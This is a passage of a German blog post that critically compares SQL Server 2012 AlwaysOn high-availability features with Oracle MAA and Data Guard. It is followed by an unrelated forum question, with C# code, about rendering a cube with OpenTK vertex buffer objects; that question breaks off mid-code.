Konfigurationen für Node Heartbeat, HostRecordTTL (Host Record Time-to-Live) und Intersite Replication Frequeny für Active Directory Sites und Services werden notwendig. Default TTL für Windows Server 2008 R2: 20 Minuten Empfohlene Einstellung: 1 Minute DNS Update Replication Frequency in Windows Umgebung: 180 Minuten Empfohlene Einstellung: 15 Minuten (minimaler Wert)   Betrachtet man diese Werte, muss man feststellen, dass selbst eine optimale Konfiguration die rigiden SLAs (Service Level Agreements) heutiger geschäftskritischer Anwendungen für HA und DR nicht erfüllen kann. Denn dies impliziert eine auf der Client-Seite erlebte Failover-Zeit von insgesamt 16 Minuten. Hierzu ein Auszug aus der SQL Server 2012 Online Dokumentation: Cons: If a cross-subnet failover occurs, the client recovery time could be 15 minutes or longer, depending on your HostRecordTTL setting and the setting of your cross-site DNS/AD replication schedule.    Wir sind hier an einem Punkt unserer Überlegungen angelangt, an dem sich erklärt, weshalb ich zuvor das "Windows was the God ..." Zitat verwendet habe. Die unbedingte Abhängigkeit zu Windows wird zunehmend zum Problem, da sie die Komplexität einer Microsoft-basierenden Lösung erhöht, anstelle sie zu reduzieren. Und Komplexität ist das Letzte, was sich CIOs heutzutage wünschen.  Zur Ehrenrettung des SQL Server 2012 und AlwaysOn muss man sagen, dass derart lange Failover-Zeiten kein unbedingtes "Muss" darstellen, sondern ein "Kann". Doch auch ein "Kann" kann im unpassenden Moment unvorhersehbare und kostspielige Folgen haben. Die Unabsehbarkeit ist wiederum Ursache vieler an der Implementierung beteiligten Komponenten und deren Abhängigkeiten, wie beispielsweise drei Cluster-Lösungen (zwei von Microsoft, eine 3rd Party Lösung). Wie man die Sache auch dreht und wendet, kommt man an diesem Fakt also nicht vorbei - ganz unabhängig von der Dauer einer Downtime oder Failover-Zeiten. Im Gegensatz zu AlwaysOn und der hier vorgestellten Version eines Stretch-Clusters, vermeidet eine entsprechende Oracle Implementierung eine derartige Komplexität, hervorgerufen duch multiple Abhängigkeiten. Den Unterschied machen Datenbank-integrierte Mechanismen, wie Fast Application Notification (FAN) und Fast Connection Failover (FCF). Für Oracle MAA Konfigurationen (Maximum Availability Architecture) sind Inter-Site Failover-Zeiten im Bereich von Sekunden keine Seltenheit. Wenn Sie dem Link zur Oracle MAA folgen, finden Sie außerdem eine Reihe an Customer Case Studies. Auch dies ist ein wichtiges Unterscheidungsmerkmal zu AlwaysOn, denn die Oracle Technologie hat sich bereits zigfach in höchst kritischen Umgebungen bewährt.   Availability Groups (Verfügbarkeitsgruppen) Die sogenannten Availability Groups (Verfügbarkeitsgruppen) sind - neben FCI - der weitere Baustein von AlwaysOn.   Hinweis: Bevor wir uns näher damit beschäftigen, sollten Sie sich noch einmal ins Gedächtnis rufen, dass eine SQL Server Datenbank nicht die gleiche Bedeutung besitzt, wie eine Oracle Datenbank, sondern eher einem Oracle Schema entspricht. So etwas wie die SQL Server Northwind Datenbank ist vergleichbar mit dem Oracle Scott Schema.   Eine Verfügbarkeitsgruppe setzt sich zusammen aus einem Set mehrerer Benutzer-Datenbanken, die im Falle eines Failover gemeinsam als Gruppe behandelt werden. Eine Verfügbarkeitsgruppe unterstützt ein Set an primären Datenbanken (primäres Replikat) und einem bis vier Sets von entsprechenden sekundären Datenbanken (sekundäre Replikate).       Es können jedoch nicht alle SQL Server Datenbanken einer AlwaysOn Verfügbarkeitsgruppe zugeordnet werden. Der SQL Server Spezialist Michael Otey zählt in seinem SQL Server Pro Artikel folgende Anforderungen auf: Verfügbarkeitsgruppen müssen mit Benutzer-Datenbanken erstellt werden. System-Datenbanken können nicht verwendet werden Die Datenbanken müssen sich im Read-Write Modus befinden. Read-Only Datenbanken werden nicht unterstützt Die Datenbanken in einer Verfügbarkeitsgruppe müssen Multiuser Datenbanken sein Sie dürfen nicht das AUTO_CLOSE Feature verwenden Sie müssen das Full Recovery Modell nutzen und es muss ein vollständiges Backup vorhanden sein Eine gegebene Datenbank kann sich nur in einer einzigen Verfügbarkeitsgruppe befinden und diese Datenbank düerfen nicht für Database Mirroring konfiguriert sein Microsoft empfiehl außerdem, dass der Verzeichnispfad einer Datenbank auf dem primären und sekundären Server identisch sein sollte Wie man sieht, eignen sich Verfügbarkeitsgruppen nicht, um HA und DR vollständig abzubilden. Die Unterscheidung zwischen der Instanzen-Ebene (FCI) und Datenbank-Ebene (Availability Groups) ist von hoher Bedeutung. Vor kurzem wurde mir gesagt, dass man mit den Verfügbarkeitsgruppen auf Shared Storage verzichten könne und dadurch Kosten spart. So weit so gut ... Man kann natürlich eine Installation rein mit Verfügbarkeitsgruppen und ohne FCI durchführen - aber man sollte sich dann darüber bewusst sein, was man dadurch alles nicht abgesichert hat - und dies wiederum für Desaster Recovery (DR) und SLAs (Service Level Agreements) bedeutet. Kurzum, um die Kombination aus beiden AlwaysOn Produkten und der damit verbundene Komplexität kommt man wohl in der Praxis nicht herum.    Availability Groups und WSFC AlwaysOn hängt von Windows Server Failover Clustering (WSFC) ab, um die aktuellen Rollen der Verfügbarkeitsreplikate einer Verfügbarkeitsgruppe zu überwachen und zu verwalten, und darüber zu entscheiden, wie ein Failover-Ereignis die Verfügbarkeitsreplikate betrifft. Das folgende Diagramm zeigt de Beziehung zwischen Verfügbarkeitsgruppen und WSFC:   Der Verfügbarkeitsmodus ist eine Eigenschaft jedes Verfügbarkeitsreplikats. Synychron und Asynchron können also gemischt werden: Availability Modus (Verfügbarkeitsmodus) Asynchroner Commit-Modus Primäres replikat schließt Transaktionen ohne Warten auf Sekundäres Synchroner Commit-Modus Primäres Replikat wartet auf Commit von sekundärem Replikat Failover Typen Automatic Manual Forced (mit möglichem Datenverlust) Synchroner Commit-Modus Geplanter, manueller Failover ohne Datenverlust Automatischer Failover ohne Datenverlust Asynchroner Commit-Modus Nur Forced, manueller Failover mit möglichem Datenverlust   Der SQL Server kennt keinen separaten Switchover Begriff wie in Oracle Data Guard. Für SQL Server werden alle Role Transitions als Failover bezeichnet. Tatsächlich unterstützt der SQL Server keinen Switchover für asynchrone Verbindungen. Es gibt nur die Form des Forced Failover mit möglichem Datenverlust. Eine ähnliche Fähigkeit wie der Switchover unter Oracle Data Guard ist so nicht gegeben.   SQL Sever FCI mit Availability Groups (Verfügbarkeitsgruppen) Neben den Verfügbarkeitsgruppen kann eine zweite Failover-Ebene eingerichtet werden, indem SQL Server FCI (auf Shared Storage) mit WSFC implementiert wird. Ein Verfügbarkeitesreplikat kann dann auf einer Standalone Instanz gehostet werden, oder einer FCI Instanz. Zum Verständnis: Die Verfügbarkeitsgruppen selbst benötigen kein Shared Storage. Diese Kombination kann verwendet werden für lokale HA auf Ebene der Instanz und DR auf Datenbank-Ebene durch Verfügbarkeitsgruppen. Das folgende Diagramm zeigt dieses Szenario:   Achtung! Hier handelt es sich nicht um ein Pendant zu Oracle RAC plus Data Guard, auch wenn das Bild diesen Eindruck vielleicht vermitteln mag - denn alle sekundären Knoten im FCI sind rein passiv. Es existiert außerdem eine weitere und ernsthafte Einschränkung: SQL Server Failover Cluster Instanzen (FCI) unterstützen nicht das automatische AlwaysOn Failover für Verfügbarkeitsgruppen. Jedes unter FCI gehostete Verfügbarkeitsreplikat kann nur für manuelles Failover konfiguriert werden.   Lesbare Sekundäre Replikate Ein oder mehrere Verfügbarkeitsreplikate in einer Verfügbarkeitsgruppe können für den lesenden Zugriff konfiguriert werden, wenn sie als sekundäres Replikat laufen. Dies ähnelt Oracle Active Data Guard, jedoch gibt es Einschränkungen. Alle Abfragen gegen die sekundäre Datenbank werden automatisch auf das Snapshot Isolation Level abgebildet. Es handelt sich dabei um eine Versionierung der Rows. Microsoft versuchte hiermit die Oracle MVRC (Multi Version Read Consistency) nachzustellen. Tatsächlich muss man die SQL Server Snapshot Isolation eher mit Oracle Flashback vergleichen. Bei der Implementierung des Snapshot Isolation Levels handelt sich um ein nachträglich aufgesetztes Feature und nicht um einen inhärenten Teil des Datenbank-Kernels, wie im Falle Oracle. (Ich werde hierzu in Kürze einen weiteren Blogbeitrag verfassen, wenn ich mich mit der neuen SQL Server 2012 Core Lizenzierung beschäftige.) Für die Praxis entstehen aus der Abbildung auf das Snapshot Isolation Level ernsthafte Restriktionen, derer man sich für den Betrieb in der Praxis bereits vorab bewusst sein sollte: Sollte auf der primären Datenbank eine aktive Transaktion zu dem Zeitpunkt existieren, wenn ein lesbares sekundäres Replikat in die Verfügbarkeitsgruppe aufgenommen wird, werden die Row-Versionen auf der korrespondierenden sekundären Datenbank nicht sofort vollständig verfügbar sein. Eine aktive Transaktion auf dem primären Replikat muss zuerst abgeschlossen (Commit oder Rollback) und dieser Transaktions-Record auf dem sekundären Replikat verarbeitet werden. Bis dahin ist das Isolation Level Mapping auf der sekundären Datenbank unvollständig und Abfragen sind temporär geblockt. Microsoft sagt dazu: "This is needed to guarantee that row versions are available on the secondary replica before executing the query under snapshot isolation as all isolation levels are implicitly mapped to snapshot isolation." (SQL Storage Engine Blog: AlwaysOn: I just enabled Readable Secondary but my query is blocked?)  Grundlegend bedeutet dies, dass ein aktives lesbares Replikat nicht in die Verfügbarkeitsgruppe aufgenommen werden kann, ohne das primäre Replikat vorübergehend stillzulegen. Da Leseoperationen auf das Snapshot Isolation Transaction Level abgebildet werden, kann die Bereinigung von Ghost Records auf dem primären Replikat durch Transaktionen auf einem oder mehreren sekundären Replikaten geblockt werden - z.B. durch eine lang laufende Abfrage auf dem sekundären Replikat. Diese Bereinigung wird auch blockiert, wenn die Verbindung zum sekundären Replikat abbricht oder der Datenaustausch unterbrochen wird. Auch die Log Truncation wird in diesem Zustant verhindert. Wenn dieser Zustand längere Zeit anhält, empfiehlt Microsoft das sekundäre Replikat aus der Verfügbarkeitsgruppe herauszunehmen - was ein ernsthaftes Downtime-Problem darstellt. Die Read-Only Workload auf den sekundären Replikaten kann eingehende DDL Änderungen blockieren. Obwohl die Leseoperationen aufgrund der Row-Versionierung keine Shared Locks halten, führen diese Operatioen zu Sch-S Locks (Schemastabilitätssperren). DDL-Änderungen durch Redo-Operationen können dadurch blockiert werden. Falls DDL aufgrund konkurrierender Lese-Workload blockiert wird und der Schwellenwert für 'Recovery Interval' (eine SQL Server Konfigurationsoption) überschritten wird, generiert der SQL Server das Ereignis sqlserver.lock_redo_blocked, welches Microsoft zum Kill der blockierenden Leser empfiehlt. Auf die Verfügbarkeit der Anwendung wird hierbei keinerlei Rücksicht genommen.   Keine dieser Einschränkungen existiert mit Oracle Active Data Guard.   Backups auf sekundären Replikaten  Über die sekundären Replikate können Backups (BACKUP DATABASE via Transact-SQL) nur als copy-only Backups einer vollständigen Datenbank, Dateien und Dateigruppen erstellt werden. Das Erstellen inkrementeller Backups ist nicht unterstützt, was ein ernsthafter Rückstand ist gegenüber der Backup-Unterstützung physikalischer Standbys unter Oracle Data Guard. Hinweis: Ein möglicher Workaround via Snapshots, bleibt ein Workaround. Eine weitere Einschränkung dieses Features gegenüber Oracle Data Guard besteht darin, dass das Backup eines sekundären Replikats nicht ausgeführt werden kann, wenn es nicht mit dem primären Replikat kommunizieren kann. Darüber hinaus muss das sekundäre Replikat synchronisiert sein oder sich in der Synchronisation befinden, um das Beackup auf dem sekundären Replikat erstellen zu können.   Vergleich von Microsoft AlwaysOn mit der Oracle MAA Ich komme wieder zurück auf die Eingangs erwähnte, mehrfach an mich gestellte Frage "Wann denn - und ob überhaupt - Oracle etwas Vergleichbares wie AlwaysOn bieten würde?" und meine damit verbundene (kurze) Irritation. Wenn Sie diesen Blogbeitrag bis hierher gelesen haben, dann kennen Sie jetzt meine darauf gegebene Antwort. Der eine oder andere Punkt traf dabei nicht immer auf Jeden zu, was auch nicht der tiefere Sinn und Zweck meiner Antwort war. Wenn beispielsweise kein Multi-Subnet mit im Spiel ist, sind alle diesbezüglichen Kritikpunkte zunächst obsolet. Was aber nicht bedeutet, dass sie nicht bereits morgen schon wieder zum Thema werden könnten (Sag niemals "Nie"). In manch anderes Fettnäpfchen tritt man wiederum nicht unbedingt in einer Testumgebung, sondern erst im laufenden Betrieb. Erst recht nicht dann, wenn man sich potenzieller Probleme nicht bewusst ist und keine dedizierten Tests startet. Und wer AlwaysOn erfolgreich positionieren möchte, wird auch gar kein Interesse daran haben, auf mögliche Schwachstellen und den besagten Teufel im Detail aufmerksam zu machen. Das ist keine Unterstellung - es ist nur menschlich. Außerdem ist es verständlich, dass man sich in erster Linie darauf konzentriert "was geht" und "was gut läuft", anstelle auf das "was zu Problemen führen kann" oder "nicht funktioniert". Wer will schon der Miesepeter sein? Für mich selbst gesprochen, kann ich nur sagen, dass ich lieber vorab von allen möglichen Einschränkungen wissen möchte, anstelle sie dann nach einer kurzen Zeit der heilen Welt schmerzhaft am eigenen Leib erfahren zu müssen. Ich bin davon überzeugt, dass es Ihnen nicht anders geht. Nachfolgend deshalb eine Zusammenfassung all jener Punkte, die ich im Vergleich zur Oracle MAA (Maximum Availability Architecture) als unbedingt Erwähnenswert betrachte, falls man eine Evaluierung von Microsoft AlwaysOn in Betracht zieht. 1. AlwaysOn ist eine komplexe Technologie Der SQL Server AlwaysOn Stack ist zusammengesetzt aus drei verschiedenen Technlogien: Windows Server Failover Clustering (WSFC) SQL Server Failover Cluster Instances (FCI) SQL Server Availability Groups (Verfügbarkeitsgruppen) Man kann eine derartige Lösung nicht als nahtlos bezeichnen, wofür auch die vielen von Microsoft dargestellten Einschränkungen sprechen. Während sich frühere SQL Server Versionen in Richtung eigener HA/DR Technologien entwickelten (wie Database Mirroring), empfiehlt Microsoft nun die Migration. Doch weshalb dieser Schwenk? Er führt nicht zu einem konsisten und robusten Angebot an HA/DR Technologie für geschäftskritische Umgebungen.  Liegt die Antwort in meiner These begründet, nach der "Windows was the God ..." noch immer gilt und man die Nachteile der allzu engen Kopplung mit Windows nicht sehen möchte? Entscheiden Sie selbst ... 2. Failover Cluster Instanzen - Kein RAC-Pendant Die SQL Server und Windows Server Clustering Technologie basiert noch immer auf dem veralteten Aktiv-Passiv Modell und führt zu einer Verschwendung von Systemressourcen. In einer Betrachtung von lediglich zwei Knoten erschließt sich auf Anhieb noch nicht der volle Mehrwert eines Aktiv-Aktiv Clusters (wie den Real Application Clusters), wie er von Oracle bereits vor zehn Jahren entwickelt wurde. Doch kennt man die Vorzüge der Skalierbarkeit durch einfaches Hinzufügen weiterer Cluster-Knoten, die dann alle gemeinsam als ein einziges logisches System zusammenarbeiten, versteht man was hinter dem Motto "Pay-as-you-Grow" steckt. In einem Aktiv-Aktiv Cluster geht es zwar auch um Hochverfügbarkeit - und ein Failover erfolgt zudem schneller, als in einem Aktiv-Passiv Modell - aber es geht eben nicht nur darum. An dieser Stelle sei darauf hingewiesen, dass die Oracle 11g Standard Edition bereits die Nutzung von Oracle RAC bis zu vier Sockets kostenfrei beinhaltet. Möchten Sie dazu Windows nutzen, benötigen Sie keine Windows Server Enterprise Edition, da Oracle 11g die eigene Clusterware liefert. Sie kommen in den Genuss von Hochverfügbarkeit und Skalierbarkeit und können dazu die günstigere Windows Server Standard Edition nutzen. 3. SQL Server Multi-Subnet Clustering - Abhängigkeit zu 3rd Party Storage Mirroring  Die SQL Server Multi-Subnet Clustering Architektur unterstützt den Aufbau eines Stretch Clusters, basiert dabei aber auf dem Aktiv-Passiv Modell. Das eigentlich Problematische ist jedoch, dass man sich zur Absicherung der Datenbank auf 3rd Party Storage Mirroring Technologie verlässt, ohne Integration zwischen dem Windows Server Failover Clustering (WSFC) und der darunterliegenden Mirroring Technologie. Wenn nun im Cluster ein Failover auf Instanzen-Ebene erfolgt, existiert keine Koordination mit einem möglichen Failover auf Ebene des Storage-Array. 4. Availability Groups (Verfügbarkeitsgruppen) - Vier, oder doch nur Zwei? Ein primäres Replikat erlaubt bis zu vier sekundäre Replikate innerhalb einer Verfügbarkeitsgruppe, jedoch nur zwei im Synchronen Commit Modus. Während dies zwar einen Vorteil gegenüber dem stringenten 1:1 Modell unter Database Mirroring darstellt, fällt der SQL Server 2012 damit immer noch weiter zurück hinter Oracle Data Guard mit bis zu 30 direkten Stanbdy Zielen - und vielen weiteren durch kaskadierende Ziele möglichen. Damit eignet sich Oracle Active Data Guard auch für die Bereitstellung einer Reader-Farm Skalierbarkeit für Internet-basierende Unternehmen. Mit AwaysOn Verfügbarkeitsgruppen ist dies nicht möglich. 5. Availability Groups (Verfügbarkeitsgruppen) - kein asynchrones Switchover  Die Technologie der Verfügbarkeitsgruppen wird auch als geeignetes Mittel für administrative Aufgaben positioniert - wie Upgrades oder Wartungsarbeiten. Man muss sich jedoch einem gravierendem Defizit bewusst sein: Im asynchronen Verfügbarkeitsmodus besteht die einzige Möglichkeit für Role Transition im Forced Failover mit Datenverlust! Um den Verlust von Daten durch geplante Wartungsarbeiten zu vermeiden, muss man den synchronen Verfügbarkeitsmodus konfigurieren, was jedoch ernstzunehmende Auswirkungen auf WAN Deployments nach sich zieht. Spinnt man diesen Gedanken zu Ende, kommt man zu dem Schluss, dass die Technologie der Verfügbarkeitsgruppen für geplante Wartungsarbeiten in einem derartigen Umfeld nicht effektiv genutzt werden kann. 6. Automatisches Failover - Nicht immer möglich Sowohl die SQL Server FCI, als auch Verfügbarkeitsgruppen unterstützen automatisches Failover. Möchte man diese jedoch kombinieren, wird das Ergebnis kein automatisches Failover sein. Denn ihr Zusammentreffen im Failover-Fall führt zu Race Conditions (Wettlaufsituationen), weshalb diese Konfiguration nicht länger das automatische Failover zu einem Replikat in einer Verfügbarkeitsgruppe erlaubt. Auch hier bestätigt sich wieder die tiefere Problematik von AlwaysOn, mit einer Zusammensetzung aus unterschiedlichen Technologien und der Abhängigkeit zu Windows. 7. Problematische RTO (Recovery Time Objective) Microsoft postioniert die SQL Server Multi-Subnet Clustering Architektur als brauchbare HA/DR Architektur. Bedenkt man jedoch die Problematik im Zusammenhang mit DNS Replikation und den möglichen langen Wartezeiten auf Client-Seite von bis zu 16 Minuten, sind strenge RTO Anforderungen (Recovery Time Objectives) nicht erfüllbar. Im Gegensatz zu Oracle besitzt der SQL Server keine Datenbank-integrierten Technologien, wie Oracle Fast Application Notification (FAN) oder Oracle Fast Connection Failover (FCF). 8. Problematische RPO (Recovery Point Objective) SQL Server ermöglicht Forced Failover (erzwungenes Failover), bietet jedoch keine Möglichkeit zur automatischen Übertragung der letzten Datenbits von einem alten zu einem neuen primären Replikat, wenn der Verfügbarkeitsmodus asynchron war. Oracle Data Guard hingegen bietet diese Unterstützung durch das Flush Redo Feature. Dies sichert "Zero Data Loss" und beste RPO auch in erzwungenen Failover-Situationen. 9. Lesbare Sekundäre Replikate mit Einschränkungen Aufgrund des Snapshot Isolation Transaction Level für lesbare sekundäre Replikate, besitzen diese Einschränkungen mit Auswirkung auf die primäre Datenbank. Die Bereinigung von Ghost Records auf der primären Datenbank, wird beeinflusst von lang laufenden Abfragen auf der lesabaren sekundären Datenbank. Die lesbare sekundäre Datenbank kann nicht in die Verfügbarkeitsgruppe aufgenommen werden, wenn es aktive Transaktionen auf der primären Datenbank gibt. Zusätzlich können DLL Änderungen auf der primären Datenbank durch Abfragen auf der sekundären blockiert werden. Und imkrementelle Backups werden hier nicht unterstützt.   Keine dieser Restriktionen existiert unter Oracle Data Guard.

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  • Problem rendering VBO

    - by Onno
    I'm developing a game engine using OpenTK. I'm trying to get to grips with the use of VBO's. I've run into some trouble because somehow it doesn't render correctly. Thus far I've used immediate mode to render a test object, a test cube with a texture. namespace SharpEngine.Utility.Mesh { using System; using System.Collections.Generic; using OpenTK; using OpenTK.Graphics; using OpenTK.Graphics.OpenGL; using SharpEngine.Utility; using System.Drawing; public class ImmediateFaceBasedCube : IMesh { private IList<Face> faces = new List<Face>(); public ImmediateFaceBasedCube() { IList<Vector3> allVertices = new List<Vector3>(); //rechtsbovenvoor allVertices.Add(new Vector3(1.0f, 1.0f, 1.0f)); //0 //rechtsbovenachter allVertices.Add(new Vector3(1.0f, 1.0f, -1.0f)); //1 //linksbovenachter allVertices.Add(new Vector3(-1.0f, 1.0f, -1.0f)); //2 //linksbovenvoor allVertices.Add(new Vector3(-1.0f, 1.0f, 1.0f)); //3 //rechtsondervoor allVertices.Add(new Vector3(1.0f, -1.0f, 1.0f)); //4 //rechtsonderachter allVertices.Add(new Vector3(1.0f, -1.0f, -1.0f)); //5 //linksonderachter allVertices.Add(new Vector3(-1.0f, -1.0f, -1.0f)); //6 //linksondervoor allVertices.Add(new Vector3(-1.0f, -1.0f, 1.0f)); //7 IList<Vector2> textureCoordinates = new List<Vector2>(); textureCoordinates.Add(new Vector2(0, 0)); //AA - 0 textureCoordinates.Add(new Vector2(0, 0.3333333f)); //AB - 1 textureCoordinates.Add(new Vector2(0, 0.6666666f)); //AC - 2 textureCoordinates.Add(new Vector2(0, 1)); //AD - 3 textureCoordinates.Add(new Vector2(0.3333333f, 0)); //BA - 4 textureCoordinates.Add(new Vector2(0.3333333f, 0.3333333f)); //BB - 5 textureCoordinates.Add(new Vector2(0.3333333f, 0.6666666f)); //BC - 6 textureCoordinates.Add(new Vector2(0.3333333f, 1)); //BD - 7 textureCoordinates.Add(new Vector2(0.6666666f, 0)); //CA - 8 textureCoordinates.Add(new Vector2(0.6666666f, 0.3333333f)); //CB - 9 textureCoordinates.Add(new Vector2(0.6666666f, 0.6666666f)); //CC -10 textureCoordinates.Add(new Vector2(0.6666666f, 1)); //CD -11 textureCoordinates.Add(new Vector2(1, 0)); //DA -12 textureCoordinates.Add(new Vector2(1, 0.3333333f)); //DB -13 textureCoordinates.Add(new Vector2(1, 0.6666666f)); //DC -14 textureCoordinates.Add(new Vector2(1, 1)); //DD -15 Vector3 copy1 = new Vector3(-2.0f, -2.5f, -3.5f); IList<Vector3> normals = new List<Vector3>(); normals.Add(new Vector3(0, 1.0f, 0)); //0 normals.Add(new Vector3(0, 0, 1.0f)); //1 normals.Add(new Vector3(1.0f, 0, 0)); //2 normals.Add(new Vector3(0, 0, -1.0f)); //3 normals.Add(new Vector3(-1.0f, 0, 0)); //4 normals.Add(new Vector3(0, -1.0f, 0)); //5 //todo: move vertex normal and texture data to datastructure //todo: VBO based rendering //top face //1 IList<VertexData> verticesT1 = new List<VertexData>(); VertexData T1a = new VertexData(); T1a.Normal = normals[0]; T1a.TexCoord = textureCoordinates[5]; T1a.Position = allVertices[3]; verticesT1.Add(T1a); VertexData T1b = new VertexData(); T1b.Normal = normals[0]; T1b.TexCoord = textureCoordinates[9]; T1b.Position = allVertices[0]; verticesT1.Add(T1b); VertexData T1c = new VertexData(); T1c.Normal = normals[0]; T1c.TexCoord = textureCoordinates[10]; T1c.Position = allVertices[1]; verticesT1.Add(T1c); Face F1 = new Face(verticesT1); faces.Add(F1); //2 IList<VertexData> verticesT2 = new List<VertexData>(); VertexData T2a = new VertexData(); T2a.Normal = normals[0]; T2a.TexCoord = textureCoordinates[10]; T2a.Position = allVertices[1]; verticesT2.Add(T2a); VertexData T2b = new VertexData(); T2b.Normal = normals[0]; T2b.TexCoord = textureCoordinates[6]; T2b.Position = allVertices[2]; verticesT2.Add(T2b); VertexData T2c = new VertexData(); T2c.Normal = normals[0]; T2c.TexCoord = textureCoordinates[5]; T2c.Position = allVertices[3]; verticesT2.Add(T2c); Face F2 = new Face(verticesT2); faces.Add(F2); //front face //3 IList<VertexData> verticesT3 = new List<VertexData>(); VertexData T3a = new VertexData(); T3a.Normal = normals[1]; T3a.TexCoord = textureCoordinates[1]; T3a.Position = allVertices[3]; verticesT3.Add(T3a); VertexData T3b = new VertexData(); T3b.Normal = normals[1]; T3b.TexCoord = textureCoordinates[0]; T3b.Position = allVertices[7]; verticesT3.Add(T3b); VertexData T3c = new VertexData(); T3c.Normal = normals[1]; T3c.TexCoord = textureCoordinates[5]; T3c.Position = allVertices[0]; verticesT3.Add(T3c); Face F3 = new Face(verticesT3); faces.Add(F3); //4 IList<VertexData> verticesT4 = new List<VertexData>(); VertexData T4a = new VertexData(); T4a.Normal = normals[1]; T4a.TexCoord = textureCoordinates[5]; T4a.Position = allVertices[0]; verticesT4.Add(T4a); VertexData T4b = new VertexData(); T4b.Normal = normals[1]; T4b.TexCoord = textureCoordinates[0]; T4b.Position = allVertices[7]; verticesT4.Add(T4b); VertexData T4c = new VertexData(); T4c.Normal = normals[1]; T4c.TexCoord = textureCoordinates[4]; T4c.Position = allVertices[4]; verticesT4.Add(T4c); Face F4 = new Face(verticesT4); faces.Add(F4); //right face //5 IList<VertexData> verticesT5 = new List<VertexData>(); VertexData T5a = new VertexData(); T5a.Normal = normals[2]; T5a.TexCoord = textureCoordinates[2]; T5a.Position = allVertices[0]; verticesT5.Add(T5a); VertexData T5b = new VertexData(); T5b.Normal = normals[2]; T5b.TexCoord = textureCoordinates[1]; T5b.Position = allVertices[4]; verticesT5.Add(T5b); VertexData T5c = new VertexData(); T5c.Normal = normals[2]; T5c.TexCoord = textureCoordinates[6]; T5c.Position = allVertices[1]; verticesT5.Add(T5c); Face F5 = new Face(verticesT5); faces.Add(F5); //6 IList<VertexData> verticesT6 = new List<VertexData>(); VertexData T6a = new VertexData(); T6a.Normal = normals[2]; T6a.TexCoord = textureCoordinates[1]; T6a.Position = allVertices[4]; verticesT6.Add(T6a); VertexData T6b = new VertexData(); T6b.Normal = normals[2]; T6b.TexCoord = textureCoordinates[5]; T6b.Position = allVertices[5]; verticesT6.Add(T6b); VertexData T6c = new VertexData(); T6c.Normal = normals[2]; T6c.TexCoord = textureCoordinates[6]; T6c.Position = allVertices[1]; verticesT6.Add(T6c); Face F6 = new Face(verticesT6); faces.Add(F6); //back face //7 IList<VertexData> verticesT7 = new List<VertexData>(); VertexData T7a = new VertexData(); T7a.Normal = normals[3]; T7a.TexCoord = textureCoordinates[4]; T7a.Position = allVertices[5]; verticesT7.Add(T7a); VertexData T7b = new VertexData(); T7b.Normal = normals[3]; T7b.TexCoord = textureCoordinates[9]; T7b.Position = allVertices[2]; verticesT7.Add(T7b); VertexData T7c = new VertexData(); T7c.Normal = normals[3]; T7c.TexCoord = textureCoordinates[5]; T7c.Position = allVertices[1]; verticesT7.Add(T7c); Face F7 = new Face(verticesT7); faces.Add(F7); //8 IList<VertexData> verticesT8 = new List<VertexData>(); VertexData T8a = new VertexData(); T8a.Normal = normals[3]; T8a.TexCoord = textureCoordinates[9]; T8a.Position = allVertices[2]; verticesT8.Add(T8a); VertexData T8b = new VertexData(); T8b.Normal = normals[3]; T8b.TexCoord = textureCoordinates[4]; T8b.Position = allVertices[5]; verticesT8.Add(T8b); VertexData T8c = new VertexData(); T8c.Normal = normals[3]; T8c.TexCoord = textureCoordinates[8]; T8c.Position = allVertices[6]; verticesT8.Add(T8c); Face F8 = new Face(verticesT8); faces.Add(F8); //left face //9 IList<VertexData> verticesT9 = new List<VertexData>(); VertexData T9a = new VertexData(); T9a.Normal = normals[4]; T9a.TexCoord = textureCoordinates[8]; T9a.Position = allVertices[6]; verticesT9.Add(T9a); VertexData T9b = new VertexData(); T9b.Normal = normals[4]; T9b.TexCoord = textureCoordinates[13]; T9b.Position = allVertices[3]; verticesT9.Add(T9b); VertexData T9c = new VertexData(); T9c.Normal = normals[4]; T9c.TexCoord = textureCoordinates[9]; T9c.Position = allVertices[2]; verticesT9.Add(T9c); Face F9 = new Face(verticesT9); faces.Add(F9); //10 IList<VertexData> verticesT10 = new List<VertexData>(); VertexData T10a = new VertexData(); T10a.Normal = normals[4]; T10a.TexCoord = textureCoordinates[8]; T10a.Position = allVertices[6]; verticesT10.Add(T10a); VertexData T10b = new VertexData(); T10b.Normal = normals[4]; T10b.TexCoord = textureCoordinates[12]; T10b.Position = allVertices[7]; verticesT10.Add(T10b); VertexData T10c = new VertexData(); T10c.Normal = normals[4]; T10c.TexCoord = textureCoordinates[13]; T10c.Position = allVertices[3]; verticesT10.Add(T10c); Face F10 = new Face(verticesT10); faces.Add(F10); //bottom face //11 IList<VertexData> verticesT11 = new List<VertexData>(); VertexData T11a = new VertexData(); T11a.Normal = normals[5]; T11a.TexCoord = textureCoordinates[10]; T11a.Position = allVertices[7]; verticesT11.Add(T11a); VertexData T11b = new VertexData(); T11b.Normal = normals[5]; T11b.TexCoord = textureCoordinates[9]; T11b.Position = allVertices[6]; verticesT11.Add(T11b); VertexData T11c = new VertexData(); T11c.Normal = normals[5]; T11c.TexCoord = textureCoordinates[14]; T11c.Position = allVertices[4]; verticesT11.Add(T11c); Face F11 = new Face(verticesT11); faces.Add(F11); //12 IList<VertexData> verticesT12 = new List<VertexData>(); VertexData T12a = new VertexData(); T12a.Normal = normals[5]; T12a.TexCoord = textureCoordinates[13]; T12a.Position = allVertices[5]; verticesT12.Add(T12a); VertexData T12b = new VertexData(); T12b.Normal = normals[5]; T12b.TexCoord = textureCoordinates[14]; T12b.Position = allVertices[4]; verticesT12.Add(T12b); VertexData T12c = new VertexData(); T12c.Normal = normals[5]; T12c.TexCoord = textureCoordinates[9]; T12c.Position = allVertices[6]; verticesT12.Add(T12c); Face F12 = new Face(verticesT12); faces.Add(F12); } public void draw() { GL.Begin(BeginMode.Triangles); foreach (Face face in faces) { foreach (VertexData datapoint in face.verticesWithTexCoords) { GL.Normal3(datapoint.Normal); GL.TexCoord2(datapoint.TexCoord); GL.Vertex3(datapoint.Position); } } GL.End(); } } } Gets me this very nice picture: The immediate mode cube renders nicely and taught me a bit on how to use OpenGL, but VBO's are the way to go. Since I read on the OpenTK forums that OpenTK has problems doing VA's or DL's, I decided to skip using those. Now, I've tried to change this cube to a VBO by using the same vertex, normal and tc collections, and making float arrays from them by using the coordinates in combination with uint arrays which contain the index numbers from the immediate cube. (see the private functions at end of the code sample) Somehow this only renders two triangles namespace SharpEngine.Utility.Mesh { using System; using System.Collections.Generic; using OpenTK; using OpenTK.Graphics; using OpenTK.Graphics.OpenGL; using SharpEngine.Utility; using System.Drawing; public class VBOFaceBasedCube : IMesh { private int VerticesVBOID; private int 